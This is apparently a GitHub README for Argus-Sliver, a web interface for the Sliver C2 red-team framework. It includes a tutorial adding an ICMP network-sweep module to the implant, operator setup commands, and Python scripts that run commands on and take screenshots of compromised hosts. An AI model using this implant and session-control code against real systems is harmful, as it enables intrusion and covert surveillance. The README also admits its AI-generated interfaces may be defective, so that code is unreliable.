Skip to content

Argus-Sliver 是首个基于 Web 端的 Sliver C2 二次开发平台。它利用 Vue3 + FastAPI + sliver-py 构建,旨在为安全研究人员提供一个直觉化、全功能的图形化渗透指挥中心

Notifications You must be signed in to change notification settings

CuriousLearnerDev/Argus-Sliver

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 
 
 

Repository files navigation

Argus-Sliver: 全功能 Web 端 Sliver C2 指挥中心

Python Version Vue Version Sliver Version License

Argus-Sliver 是首个基于 Web 端的 Sliver C2 二次开发平台。它利用 Vue3 + FastAPI + sliver-py 构建,旨在为安全研究人员提供一个直觉化、全功能的图形化渗透指挥中心

🏴 开发进度

目前项目仍处于持续开发阶段,现阶段大部分接口逻辑由 AI 辅助生成,部分接口在稳定性和完整性方面仍存在不足,个别功能可能存在缺陷或尚未完全实现,后续将逐步进行优化和完善

⚙️ 快速上手

1. 环境准备

  • Sliver Server: 确保服务器已启动并开启 multiplayer 模式。
  • Python: 3.11 或更高版本。
  • Node.js: 20+ (推荐使用 LTS 版本)。

2. 后端部署 (Backend)

cd backend
pip install -r requirements.txt

# 修改 backend/config.json 中的 sliver_config_path 为您的 .cfg 文件路径
# 然后运行后端 API 服务 (默认端口 8000)
python api.py

3. 前端部署 (Frontend)

cd frontend
npm install
npm run dev

访问 http://localhost:5173 即可进入指挥中心。


📂 项目结构

Argus-Sliver/
├── backend/            # FastAPI 后端,处理 RPC 转接与 WS
│   ├── api.py          # 路由注册与启动
│   ├── router_shell.py # WebSocket 交互式 Shell 逻辑
│   └── core.py         # 状态管理与 SliverClient 封装
└── frontend/           # Vue3 前端
    ├── src/components/ # UI 组件库
    └── src/App.vue     # 主布局逻辑

🚀 核心功能展示

1. 指挥中心仪表板

2. 马生成与配置

3. 网络拓扑可视化

4. 屏幕获取

5. 代理转发

6. 终端交互

7. 多人协作指挥中心

8. 支持文件上传删除等操作

9. 文件预览和保存

10. 战利品库

11. 主机详情概览

12. 环境变量管理

13. 监听器管理

14. 横向移动向导

15. 任务管理

16. 网络连接

17. 会话管理


⚙️ 源码二开

Sliver源码体量较大,排除第三方库的go文件都有几千个,不过我们开发的内容就只需要改特定的地方即可,要是了解整个代码逻辑还是比较难的

简单演示添加一个内网主机探测扫描的功能

环境准备(避坑指南)

如果修改编译的源码必须是会修改生成.proto.pb.go

版本必须如下:不然会有运行可能会报错

  • Protoc libprotoc v26.1 或更高版本
  • Protoc-gen-go v1.27.1
  • Protoc-gen-go-grpc v1.2.0

版本不对应会出现如下错误:

kali系统可以直接运行如下命令:

go install google.golang.org/protobuf/cmd/protoc-gen-go@v1.27.1
go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@v1.2.0  
export PATH="$HOME/go/bin:$PATH"

在Sliver中,所有Client、Server与Implant之间的通信均基于Protobuf定义,因此新增功能的第一步是扩展RPC协议

定义Protobuf

文件的目录结构

目录 / 文件 作用简介
protobuf/ Sliver 各组件(client / server / implant)之间的 通信协议定义层
protobufs.go 注册所有 proto 描述符,用于运行时反射和版本管理
clientpb/ 客户端 服务端的请求 / 响应消息定义
commonpb/ 各模块共享的通用 protobuf 消息结构
dnspb/ DNS C2 通信使用的 protobuf 消息定义
rpcpb/ gRPC 服务接口与 Stub(API 核心)
sliverpb/ Server Implant 控制协议(任务、状态、遥测)

首先需要定义数据传输的格式

修改 sliver/protobuf/rpcpb/services.proto在 RPC服务定义中增加 PortScan 方法

rpc ICMPScan(sliverpb.ICMPScanReq) returns (sliverpb.ICMPScanResp);

修改 sliver/protobuf/sliverpb/sliver.proto: 定义请求和响应的结构体:

message ICMPScanReq {
  string Range = 1;
  uint32 Timeout = 2;
  int32 Concurrency = 3;

  commonpb.Request Request = 10; 
}

message ICMPScanResp {
  repeated string AliveHosts = 1;
  commonpb.Response Response = 2;
}

编译protobuf

命令:

make pb

服务端(Server) 服务二开

目录结构

目录 / 文件 作用简介
main.go Server 入口,解析参数并启动守护进程
assets/ 内嵌资源(默认配置、模板、脚本等)
builder/ Payload 构建调度与构建产物管理
c2/ C2 服务编排(监听器、任务分发、staging)
certs/ TLS 证书生成与管理
cli/ Server CLI 启动逻辑
codenames/ Implant / Operator 代号生成
configs/ 配置文件加载、校验与默认值处理
console/ 管理控制台通用代码
core/ Server 核心运行时与状态管理
cryptography/ 服务端加密与密钥管理
daemon/ 守护进程生命周期管理
db/ 数据库访问层(迁移、适配、查询)
encoders/ 服务端编码器管理与校验
generate/ 代码生成与模板工具
gogo/ gogo/protobuf 兼容与定制
handlers/ RPC / 事件处理器
log/ 日志系统与结构化日志配置
loot/ Loot(回传数据)存储与管理
msf/ Metasploit 集成相关逻辑
netstack/ 用户态网络栈(基于 gVisor)
rpc/ gRPC 服务实现与注册
sgn/ Sliver Guard Node(SGN)协调逻辑
transport/ C2 传输层与监听器管理
watchtower/ 后台任务、监控与调度
website/ Web 静态资源与服务端处理

添加文件 server/rpc/rpc-icmp-scan.go

代码内容

ICMPScan方法主要是用来响应ICMP扫描的请求,通过调用通用的处理器来执行扫描操作,并返回扫描结果

package rpc

import (
	"context"
	"github.com/bishopfox/sliver/protobuf/commonpb"
	"github.com/bishopfox/sliver/protobuf/sliverpb"
)

func (rpc *Server) ICMPScan(ctx context.Context, req *sliverpb.ICMPScanReq) (*sliverpb.ICMPScanResp, error) {
	resp := &sliverpb.ICMPScanResp{Response: &commonpb.Response{}}
	err := rpc.GenericHandler(req, resp)
	if err != nil {
		return nil, err
	}
	return resp, nil
}

客户端(Client)命令集成二开

client/command/文件下的开发格式大概如下:

  • commands.go – 注册信息导向型命令并将其绑定到控制台
  • info.go – 查询详细的会话或信标元数据,并打印丰富的状态表
  • 实际的文件.go – 向植入体发送 ping 请求,以测试连接性和往返延迟

因此需要创建两个文件:commands.go 与具体功能实现文件

client/command/文件下创建一个文件叫icmpscan在创建一个commands.go代码如下:

package icmpscan

import (
	"github.com/bishopfox/sliver/client/console"
	"github.com/spf13/cobra"
)

func Commands(con *console.SliverClient) []*cobra.Command {
	icmpScanCmd := &cobra.Command{
		Use:   "hostscan", // 命令名称
		Short: "内网主机存活探测 (ICMP)",
		Long:  "通过指定 IP 范围进行 ICMP 存活探测。",
		Run: func(cmd *cobra.Command, args []string) {
			// 在这里调用你实际的执行逻辑
			IcmpScanExecute(cmd, con)
		},
	}

	// 在这里绑定参数(Flags)
	icmpScanCmd.Flags().StringP("range", "r", "", "目标 IP 范围 (CIDR)")
	icmpScanCmd.Flags().Int32P("timeout", "t", 5, "超时时间(秒)")

	return []*cobra.Command{icmpScanCmd}
}

在创建一个icmpscan.go代码如下:

package icmpscan

import (
	"context"
	"github.com/bishopfox/sliver/client/console"
	"github.com/bishopfox/sliver/protobuf/sliverpb"
	"github.com/spf13/cobra"
)

func IcmpScanExecute(cmd *cobra.Command, con *console.SliverClient) {

	session := con.ActiveTarget.GetSessionInteractive()
	if session == nil {
		return
	}

	targetRange, _ := cmd.Flags().GetString("range")
	timeout, _ := cmd.Flags().GetInt32("timeout")

	if targetRange == "" {
		con.PrintErrorf("错误: 请通过 -r 指定扫描范围 (例如: 192.168.1.0/24)\n")
		return
	}

	req := &sliverpb.ICMPScanReq{
		Range:   targetRange,
		Timeout: uint32(timeout),
		Request: con.ActiveTarget.Request(cmd),
	}

	con.PrintInfof("正在通过 Session %d (%s) 发起主机存活探测: %s ...\n",
		session.ID, session.Name, targetRange)


	resp, err := con.Rpc.ICMPScan(context.Background(), req)

	if err != nil {
		con.PrintErrorf("扫描请求失败: %v\n", err)
		return
	}

	if len(resp.AliveHosts) == 0 {
		con.PrintWarnf("探测完成,未发现存活主机。\n")
	} else {
		con.PrintSuccessf("探测完成,共发现 %d 个存活主机:\n", len(resp.AliveHosts))
		for _, host := range resp.AliveHosts {
			con.Printf("  [+] %s\n", host)
		}
	}
}

截图如下:

添加命令

client/command/sliver.go文件添加如下命令:

icmpscan.Commands

上的客户端和环境就写好了然后编译运行

make

image-20260116163023908

马生成二开

sliver/protobuf/sliverpb/constants.go添加连接的常量

	// ===== ICMP Scan =====
	MsgICMPScan

然后在添加

	case *ICMPScanReq:
		return MsgICMPScan

添加一个icmp的扫描功能

implant/sliver/下面我创建一个hostscan文件夹文件夹下创建一个hostscan.go

代码如下:

package hostscan

import (
	"context"
	"net"
	"os/exec"
	"runtime"
	"strings"
	"sync"
	"time"
)

func PerformIcmpScan(target string, timeoutSec int32) []string {
	ips := parseTarget(target)
	if len(ips) == 0 {
		return nil
	}

	var aliveHosts []string
	var mu sync.Mutex
	var wg sync.WaitGroup

	sem := make(chan struct{}, 50)
	timeout := time.Duration(timeoutSec) * time.Second

	for _, ip := range ips {
		wg.Add(1)
		sem <- struct{}{}
		go func(targetIP string) {
			defer wg.Done()
			defer func() { <-sem }()

			if systemPing(targetIP, timeout) {
				mu.Lock()
				aliveHosts = append(aliveHosts, targetIP)
				mu.Unlock()
			}
		}(ip)
	}
	wg.Wait()
	return aliveHosts
}

func systemPing(ip string, timeout time.Duration) bool {
	ctx, cancel := context.WithTimeout(context.Background(), timeout)
	defer cancel()

	var cmd *exec.Cmd
	if runtime.GOOS == "windows" {
		cmd = exec.CommandContext(ctx, "ping", "-n", "1", "-w", "1000", ip)
	} else {
		cmd = exec.CommandContext(ctx, "ping", "-c", "1", "-W", "1", ip)
	}

	err := cmd.Run()
	return err == nil
}

func parseTarget(target string) []string {
	var ips []string
	if !strings.Contains(target, "/") {
		if net.ParseIP(target) != nil {
			return []string{target}
		}
		return nil
	}
	ip, ipnet, err := net.ParseCIDR(target)
	if err != nil {
		return nil
	}
	for ip := ip.Mask(ipnet.Mask); ipnet.Contains(ip); inc(ip) {
		ips = append(ips, ip.String())
	}
	if len(ips) > 2 {
		return ips[1 : len(ips)-1]
	}
	return ips
}

func inc(ip net.IP) {
	for j := len(ip) - 1; j >= 0; j-- {
		ip[j]++
		if ip[j] > 0 {
			break
		}
	}
}

implant/sliver/handlers/handlers/下的文件的介绍:

  • extensions-wasm.go – 将与扩展相关的 RPC 消息路由到 WASM 运行时
  • handlers-wireguard.go – 处理 WireGuard 控制消息和状态更新
  • handlers.go – 注册核心处理器函数和共享分发工具
  • handlers_darwin.go – macOS 特定的处理器绑定和功能开关
  • handlers_generic.go – 无需平台特化时使用的通用处理器实现
  • handlers_linux.go – 面向 Linux 的处理器逻辑和构建标签
  • handlers_windows.go – Windows 平台特有的处理程序实现
  • kill-handlers.go – 以平台无关的方式处理会话和任务的终止命令
  • kill-handlers_windows.go – Windows 平台特有的终止命令处理
  • pivot-handlers.go – 管理与 Pivot 相关的消息和隧道设置指令
  • rpc-handlers-cgo.go – 适用于需要 CGO 的平台的 RPC 处理程序变体
  • rpc-handlers-generic.go – 跨构建共享的通用 RPC 处理程序实现
  • rpc-handlers.go – 核心 RPC 处理程序注册和分发循环
  • rpc-handlers_darwin.go – macOS 平台特有的 RPC 处理程序调整
  • rpc-handlers_linux.go – Linux RPC 处理程序自定义
  • rpc-handlers_windows.go – Windows RPC 处理程序自定义
  • tun-rportfwd.go – 处理反向端口转发通道特有的隧道消息
  • tun.go – 处理通用隧道控制消息并协调链路状态

然后在implant/sliver/handlers/handlers/handlers_linux.go添加一个函数以方便各个平台版本的系统调用

代码如下(下面函数写到了handlers_linux.go里面是因为是生成测试是linux系统就写到这了,实际生产环境中,可将该逻辑迁移至 rpc-handlers.go 以实现跨平台支持):

func hostScanHandler(data []byte, resp RPCResponse) {
	req := &sliverpb.ICMPScanReq{} // 根据你 proto 的定义
	if err := proto.Unmarshal(data, req); err != nil {
		return
	}

	// 调用扫描逻辑
	alive := hostscan.PerformIcmpScan(req.Range, int32(req.Timeout))

	response := &sliverpb.ICMPScanResp{
		AliveHosts: alive,
	}
	out, _ := proto.Marshal(response)
	resp(out, nil)
}

系统注册

sliverpb.MsgICMPScanReq:   hostScanHandler,

编译运行

🛠️ sliver 多人协同机制

多人模式允许多个运营商(Operator)连接到同一 Sliver Server

场景说明:

  • Sliver Server 跑在一台 VPS
  • 多个红队成员在自己电脑上
  • 每个人用一个operator profile 连接

架构如下:

                    ┌──────────────────┐  C2
                    │                  │  Protocol    ┌─────────┐
                    │ Sliver C2 Server ├─────────────►│ Implant │
                    │                  │              └─────────┘
                    └──────────────────┘
                            ▲
                            │
         gRPC/mTLS          │
      ┌────────────┬────────┴─────┬───────────┐
      │            │              │           │
┌─────┴──┐         │              │        ┌──┴─────┐
│Windows │    ┌────┴───┐     ┌────┴───┐    │Windows │
│Operator│    │Linux   │     │MacOS   │    │Operator│
└────────┘    │Operator│     │Operator│    └────────┘
              └────────┘     └────────┘

启动server版:

./sliver-server_linux-amd64

生成.cfg

sliver > new-operator --name admin1  --lhost 127.0.0.1 --permissions all

参数 含义
--name 操作员名称
--lhost Sliver Server 地址(IP / 域名)
--permissions all 允许访问所有 gRPC API(最高权限)

启动协同

然后启动multiplayer

使用客户端连接

命令:

./sliver-client_linux-amd64 import /home/zss/.storage/sliver/admin1_127.0.0.1.cfg
./sliver-client_linux-amd64

🔥 sliverRPC调用

官方已经提供了直接调用服务的RPC服务可以用python直接调用

安装库如下:

pip install sliver-py

测试连接代码如下:

调用前服务端要开启RPC命令如下:

sliver > new-operator --name admin1  --lhost 127.0.0.1 --permissions all
sliver > multiplayer

简单调用演示

测试代码:

#!/usr/bin/env python3

import os
import asyncio
from sliver import SliverClientConfig, SliverClient

# 默认 Sliver 客户端配置目录
CONFIG_DIR = os.path.join(os.path.expanduser("~"), ".sliver-client", "configs")
DEFAULT_CONFIG = os.path.join(CONFIG_DIR, "/home/zss/.storage/sliver/admin1_127.0.0.1.cfg")

async def main():
    config = SliverClientConfig.parse_config_file(DEFAULT_CONFIG)
    client = SliverClient(config)
    await client.connect()
    print('已连接到 Sliver 服务端...')

    # 1. 获取实时 Sessions
    sessions = await client.sessions()
    print(f'实时会话: {len(sessions)} 个')
    for s in sessions:
        print(s)

    beacons = await client.beacons()
    print(f'异步信标 (Beacons): {len(beacons)} 个')
    for b in beacons:
        print(b)

if __name__ == '__main__':
    asyncio.run(main())

RPC马调用实现执行命令测试

#!/usr/bin/env python3

import os
import asyncio
from sliver import SliverClientConfig, SliverClient


# 默认 Sliver 客户端配置目录
CONFIG_DIR = os.path.join(os.path.expanduser("~"), ".sliver-client", "configs")
DEFAULT_CONFIG = os.path.join(CONFIG_DIR, "/home/zss/.storage/sliver/admin1_127.0.0.1.cfg")

async def main():
    config = SliverClientConfig.parse_config_file(DEFAULT_CONFIG)
    client = SliverClient(config)
    await client.connect()
    print('已连接到 Sliver 服务端...')

    # 1. 获取实时 Sessions
    sessions = await client.sessions()

    print(f'实时会话: {len(sessions)} 个')
    run = await client.interact_session(sessions[0].ID)
    print(await client.interact_session(sessions[0].ID))
    print(f'执行ls命令')
    print(await run.ls())



if __name__ == '__main__':
    asyncio.run(main())

RPC马调用实现屏幕截图测试

调用rpc如下:

#!/usr/bin/env python3

import os
import asyncio
from sliver import SliverClientConfig, SliverClient


DEFAULT_CONFIG = "/home/zss/.storage/sliver/admin1_127.0.0.1.cfg"

async def main():
    config = SliverClientConfig.parse_config_file(DEFAULT_CONFIG)
    client = SliverClient(config)
    await client.connect()
    print('[*] 已连接到 Sliver 服务端...')

    # 1. 获取实时会话
    sessions = await client.sessions()
    print(f'当前实时会话: {len(sessions)} 个')

    # 2. 获取交互对象
    session = sessions[0]
    run = await client.interact_session(session.ID)
    print(f'目标主机: {session.Hostname},准备执行截图...')

    # 3. 执行截图并处理返回数据
    screenshot_data = await run.screenshot()

    # 4. 将二进制数据写入文件
    if screenshot_data:
        filename = f"screenshot_{session.ID[:8]}.png"
        with open(filename, "wb") as f:
            if hasattr(screenshot_data, 'Data'):
                f.write(screenshot_data.Data)
            else:
                f.write(screenshot_data)

        print(f'截图已保存为: {os.path.abspath(filename)}')
    else:
        print("截图失败:未获取到数据。")


if __name__ == '__main__':
    asyncio.run(main())

看一下结果

⚠️ 免责声明

本工具仅限于合法的安全研究、安全审计及教育目的。用户在行使相关行为时应遵守当地法律。开发者不承担因滥用本工具而产生的任何直接或间接法律责任。


如果您觉得本项目有价值,欢迎点一个 Star ⭐!

About

Argus-Sliver 是首个基于 Web 端的 Sliver C2 二次开发平台。它利用 Vue3 + FastAPI + sliver-py 构建,旨在为安全研究人员提供一个直觉化、全功能的图形化渗透指挥中心

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published